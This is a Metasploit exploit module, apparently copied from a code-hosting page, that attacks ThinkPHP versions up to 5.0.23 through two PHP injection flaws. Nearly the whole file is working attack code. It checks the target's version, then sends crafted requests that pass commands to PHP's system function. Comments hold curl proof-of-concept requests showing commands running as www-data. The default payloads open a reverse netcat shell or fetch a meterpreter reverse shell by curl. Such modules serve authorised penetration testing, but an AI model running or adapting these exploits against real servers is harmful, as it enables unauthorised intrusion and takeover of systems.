283 lines
9.4 KiB
Ruby
283 lines
9.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ThinkPHP Multiple PHP Injection RCEs',
|
|
'Description' => %q{
|
|
This module exploits one of two PHP injection vulnerabilities in the
|
|
ThinkPHP web framework to execute code as the web user.
|
|
|
|
Versions up to and including 5.0.23 are exploitable, though 5.0.23 is
|
|
vulnerable to a separate vulnerability. The module will automatically
|
|
attempt to detect the version of the software.
|
|
|
|
Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub.
|
|
},
|
|
'Author' => [
|
|
# Discovered by unknown threaty threat actors
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
# https://www.google.com/search?q=thinkphp+rce, tbh
|
|
['CVE', '2018-20062'], # NoneCMS 1.3 using ThinkPHP
|
|
['CVE', '2019-9082'], # Open Source BMS 1.1.1 using ThinkPHP
|
|
['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce'],
|
|
['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce']
|
|
],
|
|
'DisclosureDate' => '2018-12-10', # Unknown discovery date
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_netcat'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => :curl,
|
|
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
# NOTE: You may want to tweak this for long-running commands like find(1)
|
|
OptFloat.new('CmdOutputTimeout',
|
|
[true, 'Timeout for cmd/unix/generic output', 3.5])
|
|
])
|
|
end
|
|
|
|
# PoC version check using the first <span> from the ThinkPHP copyright:
|
|
#
|
|
# wvu@kharak:~$ curl -vs "http://127.0.0.1:8080/index.php?s=$((RANDOM))" | xmllint --html --xpath 'substring-after(//div[@class = "copyright"]/span[1]/text(), "V")' -
|
|
# * Trying 127.0.0.1...
|
|
# * TCP_NODELAY set
|
|
# * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
|
|
# > GET /index.php?s=1353 HTTP/1.1
|
|
# > Host: 127.0.0.1:8080
|
|
# > User-Agent: curl/7.54.0
|
|
# > Accept: */*
|
|
# >
|
|
# < HTTP/1.1 404 Not Found
|
|
# < Date: Mon, 13 Apr 2020 06:42:15 GMT
|
|
# < Server: Apache/2.4.25 (Debian)
|
|
# < X-Powered-By: PHP/7.2.5
|
|
# < Content-Length: 7332
|
|
# < Content-Type: text/html; charset=utf-8
|
|
# <
|
|
# { [7332 bytes data]
|
|
# * Connection #0 to host 127.0.0.1 left intact
|
|
# 5.0.20wvu@kharak:~$
|
|
def check
|
|
# An unknown route will trigger the ThinkPHP copyright with version
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
's' => rand_text_alpha(8..42)
|
|
}
|
|
)
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
unless res.code == 404 && res.body.match(/copyright.*ThinkPHP/m)
|
|
return CheckCode::Unknown(
|
|
'Target did not respond with ThinkPHP copyright.'
|
|
)
|
|
end
|
|
|
|
# Get the first copyright <span> containing the version
|
|
version = res.get_html_document.at('//div[@class = "copyright"]/span')&.text
|
|
|
|
unless (version = version.scan(/^V([\d.]+)$/).flatten.first)
|
|
return CheckCode::Detected(
|
|
'Target did not respond with ThinkPHP version.'
|
|
)
|
|
end
|
|
|
|
# Make the parsed version a comparable ivar for automatic exploitation
|
|
@version = Rex::Version.new(version)
|
|
|
|
if @version <= Rex::Version.new('5.0.23')
|
|
return CheckCode::Appears("ThinkPHP #{@version} is a vulnerable version.")
|
|
end
|
|
|
|
CheckCode::Safe("ThinkPHP #{@version} is NOT a vulnerable version.")
|
|
end
|
|
|
|
def exploit
|
|
# This is just extra insurance in case I screwed up the check method
|
|
unless @version
|
|
fail_with(Failure::NoTarget, 'Could not detect ThinkPHP version')
|
|
end
|
|
|
|
print_status("Targeting ThinkPHP #{@version} automatically")
|
|
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
# XXX: Only opts[:noconcat] may induce responses from the server
|
|
execute_cmdstager
|
|
else # This is just extra insurance in case I screwed up the info hash
|
|
fail_with(Failure::NoTarget, "Could not select target #{target['Type']}")
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status("Executing command: #{cmd}")
|
|
|
|
if @version < Rex::Version.new('5.0.23')
|
|
exploit_less_than_5_0_23(cmd)
|
|
elsif @version == Rex::Version.new('5.0.23')
|
|
exploit_5_0_23(cmd)
|
|
else # This is just extra insurance in case I screwed up the exploit method
|
|
fail_with(Failure::NoTarget, "Could not target ThinkPHP #{@version}")
|
|
end
|
|
end
|
|
|
|
# PoC for exploiting ThinkPHP < 5.0.23 to run the id(1) command with output:
|
|
#
|
|
# wvu@kharak:~$ curl -gvs "http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | head -1
|
|
# * Trying 127.0.0.1...
|
|
# * TCP_NODELAY set
|
|
# * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
|
|
# > GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
|
|
# > Host: 127.0.0.1:8080
|
|
# > User-Agent: curl/7.54.0
|
|
# > Accept: */*
|
|
# >
|
|
# < HTTP/1.1 200 OK
|
|
# < Date: Mon, 13 Apr 2020 06:43:45 GMT
|
|
# < Server: Apache/2.4.25 (Debian)
|
|
# < X-Powered-By: PHP/7.2.5
|
|
# < Vary: Accept-Encoding
|
|
# < Transfer-Encoding: chunked
|
|
# < Content-Type: text/html; charset=UTF-8
|
|
# <
|
|
# { [60 bytes data]
|
|
# * Connection #0 to host 127.0.0.1 left intact
|
|
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
# wvu@kharak:~$
|
|
def exploit_less_than_5_0_23(cmd)
|
|
# XXX: The server may block on executing our payload and won't respond
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
's' => '/Index/\\think\\app/invokefunction',
|
|
'function' => 'call_user_func_array',
|
|
'vars[0]' => 'system', # TODO: Debug ARCH_PHP
|
|
'vars[1][]' => cmd
|
|
},
|
|
'partial' => true
|
|
}, datastore['CmdOutputTimeout'])
|
|
|
|
return unless res && res.code == 200
|
|
|
|
print_good("Successfully executed command: #{cmd}")
|
|
|
|
return unless datastore['PAYLOAD'] == 'cmd/unix/generic'
|
|
|
|
# HACK: Print half of the doubled-up command output
|
|
vprint_line(res.body[0, res.body.length / 2])
|
|
end
|
|
|
|
# PoC for exploiting ThinkPHP 5.0.23 to run the id(1) command with output:
|
|
#
|
|
# wvu@kharak:~$ curl -vsd "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" http://127.0.0.1:8081/index.php?s=captcha | head -1
|
|
# * Trying 127.0.0.1...
|
|
# * TCP_NODELAY set
|
|
# * Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0)
|
|
# > POST /index.php?s=captcha HTTP/1.1
|
|
# > Host: 127.0.0.1:8081
|
|
# > User-Agent: curl/7.54.0
|
|
# > Accept: */*
|
|
# > Content-Length: 72
|
|
# > Content-Type: application/x-www-form-urlencoded
|
|
# >
|
|
# } [72 bytes data]
|
|
# * upload completely sent off: 72 out of 72 bytes
|
|
# < HTTP/1.1 200 OK
|
|
# < Date: Mon, 13 Apr 2020 06:44:05 GMT
|
|
# < Server: Apache/2.4.25 (Debian)
|
|
# < X-Powered-By: PHP/7.2.12
|
|
# < Vary: Accept-Encoding
|
|
# < Transfer-Encoding: chunked
|
|
# < Content-Type: text/html; charset=UTF-8
|
|
# <
|
|
# { [60 bytes data]
|
|
# * Connection #0 to host 127.0.0.1 left intact
|
|
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
# wvu@kharak:~$
|
|
def exploit_5_0_23(cmd)
|
|
# XXX: The server may block on executing our payload and won't respond
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
's' => 'captcha'
|
|
},
|
|
'vars_post' => {
|
|
'_method' => '__construct',
|
|
'filter[]' => 'system', # TODO: Debug ARCH_PHP
|
|
'method' => 'get',
|
|
'server[REQUEST_METHOD]' => cmd
|
|
},
|
|
'partial' => true
|
|
}, datastore['CmdOutputTimeout'])
|
|
|
|
return unless res && res.code == 200
|
|
|
|
print_good("Successfully executed command: #{cmd}")
|
|
|
|
return unless datastore['PAYLOAD'] == 'cmd/unix/generic'
|
|
|
|
# Clean up output from cmd/unix/generic
|
|
vprint_line(res.body.gsub(/\n<!DOCTYPE html>.*/m, ''))
|
|
end
|
|
end
|